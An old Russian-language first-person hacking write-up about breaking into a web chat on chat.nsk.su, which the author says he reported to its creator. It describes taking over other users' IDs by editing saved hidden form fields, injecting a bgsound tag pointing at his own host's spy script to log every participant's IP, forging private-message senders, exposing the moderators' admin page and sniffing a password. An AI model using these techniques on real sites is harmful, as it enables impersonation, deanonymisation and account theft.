Автор: Maveric
Я
предполагаю, что читатель знает, что такое CGI, и на этом построю
своё объяснение. Начал я с малого. В любом чате фрейм, в котором ты
пишешь сообщения, генерится динамически (для каждого входящего) и,
возможно, содержит несколько скрытых полей. Типа <input
type=hidden name=cookie value=SP202134> (так в партизанах
хранится UserID) Идея в следующем: сохраняем содержимое этого
фрейма на диске и исправляем его так, что бы можно было с ним
работать со своего винта. Т.е. заменяем ссылки типа
/cgi-bin/refresh.pl на полный путь
www.chat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы
пишем типа <input type=text name=cookie value=SP202134> (что
бы можно было их изменять) После этого делаем HTML документ для
"сборки чата" из кусков. Т.е. примерно так "First.htm"
<html>
<frameset rows="80%,20%">
<frameset cols="70%,30%">
<frame name="razg" src="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end">
<frame name="rigt" src="http://www.chat.nsk.su/right.html">
</frameset>
<frame name="bot" src="start.htm">
</frameset>
</html>
Start.htm - это и есть тот фрейм который я сохранил и
изменил. После этого я просто броузером открывал эту страницу
(First.htm). И сразу(!!!) попадал в чат, минуя стандартную процедуру
входа. Это позволило : 1. Обходить зарегистрированные
имена 2. Прятать свой IP от киллеров, за счет взятия чужого
ID'a
Дальше мне стало интересно вычислить IP участников. Я
обнаружил, что не запрещён тэг <bgsound src="">. Это позволило
вставлять в своё сообщение ресурс со своей машины. Сам по себе звук
на хер не нужен, но этот косяк позволил вставить в свой месс строку
типа <bgsound src="http://MyIP/cgi-bin/spy.exe">. Этот скрипт
(spy.exe) вызывался с машины КАЖДОГО участника чата. Это позволило
увидеть IP всех (скрипт просто сохранял мне на винт данные из
переменной окружения REMOTE_ADDR). Это мне не очень понравилось, тк
не понятно было где чей IP. Примерно в это-же время в чате появились
приваты. Это значит, что документ в главном фрейме (тот где мессы
все) стал называться по другому.
До приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end
После появления приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end
Где SP456789 - UserID
После этого в скрипт (spy.exe) был добавлен вывод ID'a из
переменной окружения HTTP_REFERER Ну а сопоставить ник с ID'ом не
проблемма, тк ID каждого прописан там же примерно в такой строке <br><b><font color=yellow size=-1>Тут ник</font></b>
<font color=black><a href="/cgi-bin/private_form.cgi?SP448188">
<img src=/img/mes.gif border=0 vspace=0></a></font>
(Это строка взята из правого фрейма, где можно вызвать функцию
"Кто в чате") После этого перестало быть проблемой сопоставление
ника и IP. Затем я решил позабавиться с приватами. Используя метод
сохранения странички на винт (описанный выше), я получил форму для
отправления приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом
приватно сообщении проставлять имя отправителя.
Осталось только одно. Я знал, что в чате есть киллеры, но ничего
не знал про то, что это, где это, как это. Знал только, что для
того, чтобы киллерствовать надо зайти на какую-то страничку.
Очевидно, что в этой киллерской страничке показываются имена. Я
предположил, что моё имя показываются таким, каким я его ввожу.
Исходя из этого, я под именем <bgsound
src="http://MyIP/cgi-bin/spy.exe"> MyNick зашел в чат (через
прокси), и начал легонько ругаться (мне надо было, чтобы киллеры
зашли на свою страничку). После этого (когда меня убили) я разгреб
лог моего ВебСервера (OmniHTTPd beta) и увидел там обращение со
страници не относящейся к известным мне страницам чата. Я полез на
эту страницу и получил запрос на ввод пароля, со словами "Дорогой
администратор...". Это приятно согрело душу. Дальше я начал думать,
то ли подобрать пароль, то ли ещё что придумать. Но ситуация так
сложилась, что я оказался в одной сети с киллером, и, запустив
сниффер, я поимел пароль.
P.S. Ни один из этих приколов уже
не работает в партизанах, т.к. это был "дружественный взлом" и обо
всем, что я нашел, я рассказал создателю чата. Он все косяки
исправил.
|